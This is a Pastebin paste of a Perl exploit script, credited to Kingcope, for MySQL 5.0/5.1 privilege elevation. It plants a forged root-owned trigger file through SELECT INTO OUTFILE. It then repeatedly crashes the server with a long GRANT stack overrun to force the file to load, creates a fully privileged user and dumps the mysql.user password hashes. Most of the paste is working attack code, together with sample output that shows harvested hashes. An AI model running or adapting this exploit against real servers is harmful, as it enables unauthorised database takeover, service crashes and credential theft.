Guest User

Untitled

a guest
Nov 25th, 2017
31
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.13 KB | None | 0 0
  1. use DBI();
  2.  
  3. $|=1;
  4.  
  5. =for comment
  6.  
  7. MySQL privilege elevation Exploit
  8. This exploit adds a new admin user.
  9. By Kingcope
  10.  
  11. Tested on
  12. * Debian Lenny (mysql-5.0.51a)
  13. * OpenSuSE 11.4 (5.1.53-log)
  14.  
  15. How it works:
  16. This exploit makes use of several things:
  17. *The attacker is in possession of a mysql user with 'file' privileges for the target
  18. *So the attacker can create files on the system with this user (owned by user 'mysql')
  19. *So the attacker is able to create TRIGGER files for a mysql table
  20. triggers can be used to trigger an event when a mysql command is executed by the user,
  21. normally triggers are 'attached' to a user and will be executed with this users privilege.
  22. because we can write any contents into the TRG file (the actual trigger file), we write the entry
  23. describing the attached user for the trigger as "root@localhost" what is the default admin user.
  24. * We make use of the stack overrun priorly discovered to flush the server config so the trigger file is recognized.
  25. This step is really important, without crashing the mysql server instance and reconnecting (the server will respawn)
  26. the trigger file would not be recognized.
  27.  
  28. So what the exploit does is:
  29. * Connect to the MySQL Server
  30. * Create a table named rootme for the trigger
  31. * Create the trigger file in /var/lib/mysql/<databasename>/rootme.TRG
  32. * Crash the MySQL Server to force it to respawn and recognize the trigger file (by triggering the stack overrun)
  33. * INSERT a value into the table so the trigger event gets executed
  34. * The trigger now sets all privileges of the current connecting user in the mysql.user table to enabled.
  35. * Crash the MySQL Server again to force it reload the user configuration
  36. * Create a new mysql user with all privileges set to enabled
  37. * Crash again to reload configuration
  38. * Connect by using the newly created user
  39. * The new connection has ADMIN access now to all databases in mysql
  40. * The user and password hashes in the mysql.user table are dumped for a convinient way to show the exploit succeeded
  41. * As said the user has FULL ACCESS to the database now
  42.  
  43. Respawning of mysqld is done by mysqld_safe so this is not an issue in any configuration I've seen.
  44. =cut
  45.  
  46. =for comment
  47.  
  48. user created for testing (file privs will minor privileges to only one database):
  49.  
  50. mysql> CREATE USER 'less'@'%' IDENTIFIED BY 'test';
  51. Query OK, 0 rows affected (0.00 sec)
  52.  
  53. mysql> create database lessdb
  54. -> ;
  55. Query OK, 1 row affected (0.00 sec)
  56.  
  57. mysql> GRANT ALL PRIVILEGES ON lessdb.* TO 'less'@'%' WITH GRANT OPTION;
  58. Query OK, 0 rows affected (0.02 sec)
  59.  
  60. mysql> GRANT FILE ON *.* TO 'less'@'%' WITH GRANT OPTION;
  61. Query OK, 0 rows affected (0.00 sec)
  62.  
  63. login with new unprivileged user:
  64. mysql> select * from mysql.user;
  65. ERROR 1142 (42000): SELECT command denied to user 'less2'@'localhost' for table 'user'
  66.  
  67. =cut
  68.  
  69. =for comment
  70.  
  71. example attack output:
  72.  
  73. C:\Users\kingcope\Desktop>perl mysql_privilege_elevation.pl
  74. select 'TYPE=TRIGGERS' into outfile'/var/lib/mysql/lessdb3/rootme.TRG' LINES TER
  75. MINATED BY '\ntriggers=\'CREATE DEFINER=`root`@`localhost` trigger atk after ins
  76. ert on rootme for each row\\nbegin \\nUPDATE mysql.user SET Select_priv=\\\'Y\\\
  77. ', Insert_priv=\\\'Y\\\', Update_priv=\\\'Y\\\', Delete_priv=\\\'Y\\\', Create_p
  78. riv=\\\'Y\\\', Drop_priv=\\\'Y\\\', Reload_priv=\\\'Y\\\', Shutdown_priv=\\\'Y\\
  79. \', Process_priv=\\\'Y\\\', File_priv=\\\'Y\\\', Grant_priv=\\\'Y\\\', Reference
  80. s_priv=\\\'Y\\\', Index_priv=\\\'Y\\\', Alter_priv=\\\'Y\\\', Show_db_priv=\\\'Y
  81. \\\', Super_priv=\\\'Y\\\', Create_tmp_table_priv=\\\'Y\\\', Lock_tables_priv=\\
  82. \'Y\\\', Execute_priv=\\\'Y\\\', Repl_slave_priv=\\\'Y\\\', Repl_client_priv=\\\
  83. 'Y\\\', Create_view_priv=\\\'Y\\\', Show_view_priv=\\\'Y\\\', Create_routine_pri
  84. v=\\\'Y\\\', Alter_routine_priv=\\\'Y\\\', Create_user_priv=\\\'Y\\\', ssl_type=
  85. \\\'Y\\\', ssl_cipher=\\\'Y\\\', x509_issuer=\\\'Y\\\', x509_subject=\\\'Y\\\',
  86. max_questions=\\\'Y\\\', max_updates=\\\'Y\\\', max_connections=\\\'Y\\\' WHERE
  87. User=\\\'less3\\\';\\nend\'\nsql_modes=0\ndefiners=\'root@localhost\'\nclient_cs
  88. _names=\'latin1\'\nconnection_cl_names=\'latin1_swedish_ci\'\ndb_cl_names=\'lati
  89. n1_swedish_ci\'\n';DBD::mysql::db do failed: Unknown table 'rootme' at mysql_pri
  90. vilege_elevation.pl line 44.
  91. DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
  92. privilege_elevation.pl line 50.
  93. DBD::mysql::db do failed: Lost connection to MySQL server during query at mysql_
  94. privilege_elevation.pl line 59.
  95. W00TW00T!
  96. Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
  97. Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
  98. Found a row: id = root, name = *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
  99. Found a row: id = debian-sys-maint, name = *C5524C128621D8A050B6DD616B06862F9D64
  100. B02C
  101. Found a row: id = some1, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
  102. Found a row: id = monty, name = *BF06A06D69EC935E85659FCDED1F6A80426ABD3B
  103. Found a row: id = less, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
  104. Found a row: id = r00ted, name = *EAD0219784E951FEE4B82C2670C9A06D35FD5697
  105. Found a row: id = user, name = *14E65567ABDB5135D0CFD9A70B3032C179A49EE7
  106. Found a row: id = less2, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
  107. Found a row: id = less3, name = *94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
  108. Found a row: id = rootedsql, name = *4149A2E66A41BD7C8F99D7F5DF6F3522B9D7D9BC
  109.  
  110. =cut
  111.  
  112. $user = "less10";
  113. $password = "test";
  114. $database = "lessdb10";
  115. $target = "192.168.2.4";
  116. $folder = "/var/lib/mysql/"; # Linux
  117. $newuser = "rootedbox2";
  118. $newuserpass = "rootedbox2";
  119. $mysql_version = "51"; # can be 51 or 50
  120.  
  121. if ($mysql_version eq "50") {
  122. $inject =
  123. "select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
  124. } else {
  125. $inject =
  126. "select 'TYPE=TRIGGERS' into outfile'".$folder.$database."/rootme.TRG' LINES TERMINATED BY '\\ntriggers=\\'CREATE DEFINER=`root`\@`localhost` trigger atk after insert on rootme for each row\\\\nbegin \\\\nUPDATE mysql.user SET Select_priv=\\\\\\'Y\\\\\\', Insert_priv=\\\\\\'Y\\\\\\', Update_priv=\\\\\\'Y\\\\\\', Delete_priv=\\\\\\'Y\\\\\\', Create_priv=\\\\\\'Y\\\\\\', Drop_priv=\\\\\\'Y\\\\\\', Reload_priv=\\\\\\'Y\\\\\\', Shutdown_priv=\\\\\\'Y\\\\\\', Process_priv=\\\\\\'Y\\\\\\', File_priv=\\\\\\'Y\\\\\\', Grant_priv=\\\\\\'Y\\\\\\', References_priv=\\\\\\'Y\\\\\\', Index_priv=\\\\\\'Y\\\\\\', Alter_priv=\\\\\\'Y\\\\\\', Show_db_priv=\\\\\\'Y\\\\\\', Super_priv=\\\\\\'Y\\\\\\', Create_tmp_table_priv=\\\\\\'Y\\\\\\', Lock_tables_priv=\\\\\\'Y\\\\\\', Execute_priv=\\\\\\'Y\\\\\\', Repl_slave_priv=\\\\\\'Y\\\\\\', Repl_client_priv=\\\\\\'Y\\\\\\', Create_view_priv=\\\\\\'Y\\\\\\', Show_view_priv=\\\\\\'Y\\\\\\', Create_routine_priv=\\\\\\'Y\\\\\\', Alter_routine_priv=\\\\\\'Y\\\\\\', Create_user_priv=\\\\\\'Y\\\\\\', Event_priv=\\\\\\'Y\\\\\\', Trigger_priv=\\\\\\'Y\\\\\\', ssl_type=\\\\\\'Y\\\\\\', ssl_cipher=\\\\\\'Y\\\\\\', x509_issuer=\\\\\\'Y\\\\\\', x509_subject=\\\\\\'Y\\\\\\', max_questions=\\\\\\'Y\\\\\\', max_updates=\\\\\\'Y\\\\\\', max_connections=\\\\\\'Y\\\\\\' WHERE User=\\\\\\'$user\\\\\\';\\\\nend\\'\\nsql_modes=0\\ndefiners=\\'root\@localhost\\'\\nclient_cs_names=\\'latin1\\'\\nconnection_cl_names=\\'latin1_swedish_ci\\'\\ndb_cl_names=\\'latin1_swedish_ci\\'\\n';";
  127. }
  128.  
  129. print $inject;#exit;
  130. $inject2 =
  131. "SELECT 'TYPE=TRIGGERNAME\\ntrigger_table=rootme;' into outfile '".$folder.$database."/atk.TRN' FIELDS ESCAPED BY ''";
  132.  
  133. my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
  134. "$user", "$password",
  135. {'RaiseError' => 0});
  136. eval { $dbh->do("DROP TABLE rootme") };
  137. $dbh->do("CREATE TABLE rootme (rootme VARCHAR(256));");
  138. $dbh->do($inject);
  139. $dbh->do($inject2);
  140.  
  141. $a = "A" x 10000;
  142. $dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
  143.  
  144. sleep(3);
  145.  
  146. my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
  147. "$user", "$password",
  148. {'RaiseError' => 0});
  149.  
  150. $dbh->do("INSERT INTO rootme VALUES('ROOTED');");
  151. $dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
  152.  
  153. sleep(3);
  154.  
  155. my $dbh = DBI->connect("DBI:mysql:database=$database;host=$target;",
  156. "$user", "$password",
  157. {'RaiseError' => 0});
  158.  
  159. $dbh->do("CREATE USER '$newuser'\@'%' IDENTIFIED BY '$newuserpass';");
  160. $dbh->do("GRANT ALL PRIVILEGES ON *.* TO '$newuser'\@'%' WITH GRANT OPTION;");
  161. $dbh->do("grant all on $a.* to 'user'\@'%' identified by 'secret';");
  162.  
  163. sleep(3);
  164.  
  165. my $dbh = DBI->connect("DBI:mysql:host=$target;",
  166. $newuser, $newuserpass,
  167. {'RaiseError' => 0});
  168.  
  169. my $sth = $dbh->prepare("SELECT * FROM mysql.user");
  170. $sth->execute();
  171.  
  172. print "W00TW00T!\n";
  173.  
  174. while (my $ref = $sth->fetchrow_hashref()) {
  175. print "Found a row: id = $ref->{'User'}, name = $ref->{'Password'}\n";
  176. }
  177. $sth->finish();
Add Comment
Please, Sign In to add comment